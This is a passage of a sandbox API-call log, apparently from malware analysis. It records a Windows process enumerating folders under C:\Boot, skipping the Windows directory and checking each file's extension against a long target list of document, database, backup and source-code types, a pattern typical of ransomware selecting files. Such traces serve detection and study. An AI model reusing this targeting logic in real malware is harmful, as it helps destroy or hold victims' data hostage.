(lpString=".ai6") returned 4 [0042.888] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".ai7") returned 4 [0042.888] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".ai8") returned 4 [0042.888] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".anim") returned 5 [0042.888] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".arw") returned 4 [0042.888] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".as") returned 3 [0042.888] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0042.888] lstrlenW (lpString=".asa") returned 4 [0042.888] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".asc") returned 4 [0042.888] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".ascx") returned 5 [0042.888] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".asm") returned 4 [0042.888] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".asmx") returned 5 [0042.888] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".asp") returned 4 [0042.888] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".aspx") returned 5 [0042.889] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".asr") returned 4 [0042.889] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".asx") returned 4 [0042.889] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".avi") returned 4 [0042.889] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".avs") returned 4 [0042.889] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".backup") returned 7 [0042.889] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".bak") returned 4 [0042.889] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".bay") returned 4 [0042.889] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".bd") returned 3 [0042.889] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0042.889] lstrlenW (lpString=".bin") returned 4 [0042.889] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".bmp") returned 4 [0042.889] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".bz2") returned 4 [0042.889] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".c") returned 2 [0042.889] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0042.889] lstrlenW (lpString=".cdr") returned 4 [0042.889] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".cer") returned 4 [0042.889] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".cf") returned 3 [0042.889] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0042.889] lstrlenW (lpString=".cfc") returned 4 [0042.889] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0042.889] lstrlenW (lpString=".cfm") returned 4 [0042.889] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".cfml") returned 5 [0042.890] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".cfu") returned 4 [0042.890] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".chm") returned 4 [0042.890] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".cin") returned 4 [0042.890] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".class") returned 6 [0042.890] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".clx") returned 4 [0042.890] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".config") returned 7 [0042.890] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".cpp") returned 4 [0042.890] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".cr2") returned 4 [0042.890] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".crt") returned 4 [0042.890] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".crw") returned 4 [0042.890] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".cs") returned 3 [0042.890] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0042.890] lstrlenW (lpString=".css") returned 4 [0042.890] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".csv") returned 4 [0042.890] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".cub") returned 4 [0042.890] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".dae") returned 4 [0042.890] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".dat") returned 4 [0042.890] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0042.890] lstrlenW (lpString=".db") returned 3 [0042.890] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0042.890] lstrlenW (lpString=".dbf") returned 4 [0042.891] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dbx") returned 4 [0042.891] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dc3") returned 4 [0042.891] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dcm") returned 4 [0042.891] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dcr") returned 4 [0042.891] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".der") returned 4 [0042.891] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dib") returned 4 [0042.891] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dic") returned 4 [0042.891] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dif") returned 4 [0042.891] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".divx") returned 5 [0042.891] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".djvu") returned 5 [0042.891] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dng") returned 4 [0042.891] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".doc") returned 4 [0042.891] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".docm") returned 5 [0042.891] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".docx") returned 5 [0042.891] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dot") returned 4 [0042.891] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dotm") returned 5 [0042.891] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dotx") returned 5 [0042.891] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0042.891] lstrlenW (lpString=".dpx") returned 4 [0042.892] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".dqy") returned 4 [0042.892] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".dsn") returned 4 [0042.892] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".dt") returned 3 [0042.892] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0042.892] lstrlenW (lpString=".dtd") returned 4 [0042.892] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".dwg") returned 4 [0042.892] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".dwt") returned 4 [0042.892] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".dx") returned 3 [0042.892] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0042.892] lstrlenW (lpString=".dxf") returned 4 [0042.892] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".edml") returned 5 [0042.892] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".efd") returned 4 [0042.892] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".elf") returned 4 [0042.892] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".emf") returned 4 [0042.892] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".emz") returned 4 [0042.892] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".epf") returned 4 [0042.892] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".eps") returned 4 [0042.892] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".epsf") returned 5 [0042.892] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0042.892] lstrlenW (lpString=".epsp") returned 5 [0042.892] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0042.893] lstrlenW (lpString=".erf") returned 4 [0042.893] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0042.893] lstrlenW (lpString=".exr") returned 4 [0042.893] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0042.893] lstrlenW (lpString=".f4v") returned 4 [0042.893] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0042.893] lstrlenW (lpString=".fido") returned 5 [0042.893] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0042.893] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0042.893] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0042.918] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.921] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.932] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0042.932] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0042.932] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0042.932] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0042.932] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\da-DK") returned 1 [0042.932] lstrlenW (lpString="da-DK") returned 5 [0042.932] lstrcmpiW (lpString1="C:\\Windows", lpString2="da-DK") returned -1 [0042.932] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0042.932] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0042.932] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0042.932] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.932] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0042.932] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0042.932] lstrlenW (lpString=".1cd") returned 4 [0042.932] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0042.932] lstrlenW (lpString=".3ds") returned 4 [0042.932] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0042.932] lstrlenW (lpString=".3fr") returned 4 [0042.933] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".3g2") returned 4 [0042.933] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".3gp") returned 4 [0042.933] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".7z") returned 3 [0042.933] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0042.933] lstrlenW (lpString=".accda") returned 6 [0042.933] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0042.933] lstrlenW (lpString=".accdb") returned 6 [0042.933] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0042.933] lstrlenW (lpString=".accdc") returned 6 [0042.933] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0042.933] lstrlenW (lpString=".accde") returned 6 [0042.933] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0042.933] lstrlenW (lpString=".accdt") returned 6 [0042.933] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0042.933] lstrlenW (lpString=".accdw") returned 6 [0042.933] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0042.933] lstrlenW (lpString=".adb") returned 4 [0042.933] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".adp") returned 4 [0042.933] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".ai") returned 3 [0042.933] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0042.933] lstrlenW (lpString=".ai3") returned 4 [0042.933] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".ai4") returned 4 [0042.933] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".ai5") returned 4 [0042.933] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".ai6") returned 4 [0042.933] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".ai7") returned 4 [0042.933] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0042.933] lstrlenW (lpString=".ai8") returned 4 [0042.934] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".anim") returned 5 [0042.934] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0042.934] lstrlenW (lpString=".arw") returned 4 [0042.934] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".as") returned 3 [0042.934] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0042.934] lstrlenW (lpString=".asa") returned 4 [0042.934] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".asc") returned 4 [0042.934] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".ascx") returned 5 [0042.934] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0042.934] lstrlenW (lpString=".asm") returned 4 [0042.934] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".asmx") returned 5 [0042.934] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0042.934] lstrlenW (lpString=".asp") returned 4 [0042.934] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".aspx") returned 5 [0042.934] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0042.934] lstrlenW (lpString=".asr") returned 4 [0042.934] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".asx") returned 4 [0042.934] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".avi") returned 4 [0042.934] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".avs") returned 4 [0042.934] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".backup") returned 7 [0042.934] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0042.934] lstrlenW (lpString=".bak") returned 4 [0042.934] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".bay") returned 4 [0042.934] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0042.934] lstrlenW (lpString=".bd") returned 3 [0042.934] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0042.935] lstrlenW (lpString=".bin") returned 4 [0042.935] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".bmp") returned 4 [0042.935] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".bz2") returned 4 [0042.935] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".c") returned 2 [0042.935] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0042.935] lstrlenW (lpString=".cdr") returned 4 [0042.935] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".cer") returned 4 [0042.935] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".cf") returned 3 [0042.935] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0042.935] lstrlenW (lpString=".cfc") returned 4 [0042.935] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".cfm") returned 4 [0042.935] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".cfml") returned 5 [0042.935] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0042.935] lstrlenW (lpString=".cfu") returned 4 [0042.935] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".chm") returned 4 [0042.935] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".cin") returned 4 [0042.935] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".class") returned 6 [0042.935] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0042.935] lstrlenW (lpString=".clx") returned 4 [0042.935] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".config") returned 7 [0042.935] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0042.935] lstrlenW (lpString=".cpp") returned 4 [0042.935] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0042.935] lstrlenW (lpString=".cr2") returned 4 [0042.935] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".crt") returned 4 [0042.936] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".crw") returned 4 [0042.936] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".cs") returned 3 [0042.936] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0042.936] lstrlenW (lpString=".css") returned 4 [0042.936] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".csv") returned 4 [0042.936] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".cub") returned 4 [0042.936] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dae") returned 4 [0042.936] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dat") returned 4 [0042.936] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".db") returned 3 [0042.936] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0042.936] lstrlenW (lpString=".dbf") returned 4 [0042.936] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dbx") returned 4 [0042.936] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dc3") returned 4 [0042.936] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dcm") returned 4 [0042.936] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dcr") returned 4 [0042.936] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".der") returned 4 [0042.936] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dib") returned 4 [0042.936] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dic") returned 4 [0042.936] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".dif") returned 4 [0042.936] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0042.936] lstrlenW (lpString=".divx") returned 5 [0042.937] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0042.937] lstrlenW (lpString=".djvu") returned 5 [0042.937] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0042.937] lstrlenW (lpString=".dng") returned 4 [0042.937] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".doc") returned 4 [0042.937] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".docm") returned 5 [0042.937] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0042.937] lstrlenW (lpString=".docx") returned 5 [0042.937] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0042.937] lstrlenW (lpString=".dot") returned 4 [0042.937] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".dotm") returned 5 [0042.937] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0042.937] lstrlenW (lpString=".dotx") returned 5 [0042.937] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0042.937] lstrlenW (lpString=".dpx") returned 4 [0042.937] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".dqy") returned 4 [0042.937] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".dsn") returned 4 [0042.937] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".dt") returned 3 [0042.937] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0042.937] lstrlenW (lpString=".dtd") returned 4 [0042.937] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".dwg") returned 4 [0042.937] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".dwt") returned 4 [0042.937] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".dx") returned 3 [0042.937] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0042.937] lstrlenW (lpString=".dxf") returned 4 [0042.937] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0042.937] lstrlenW (lpString=".edml") returned 5 [0042.937] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0042.938] lstrlenW (lpString=".efd") returned 4 [0042.938] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".elf") returned 4 [0042.938] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".emf") returned 4 [0042.938] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".emz") returned 4 [0042.938] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".epf") returned 4 [0042.938] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".eps") returned 4 [0042.938] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".epsf") returned 5 [0042.938] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0042.938] lstrlenW (lpString=".epsp") returned 5 [0042.938] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0042.938] lstrlenW (lpString=".erf") returned 4 [0042.938] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".exr") returned 4 [0042.938] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".f4v") returned 4 [0042.938] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0042.938] lstrlenW (lpString=".fido") returned 5 [0042.938] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 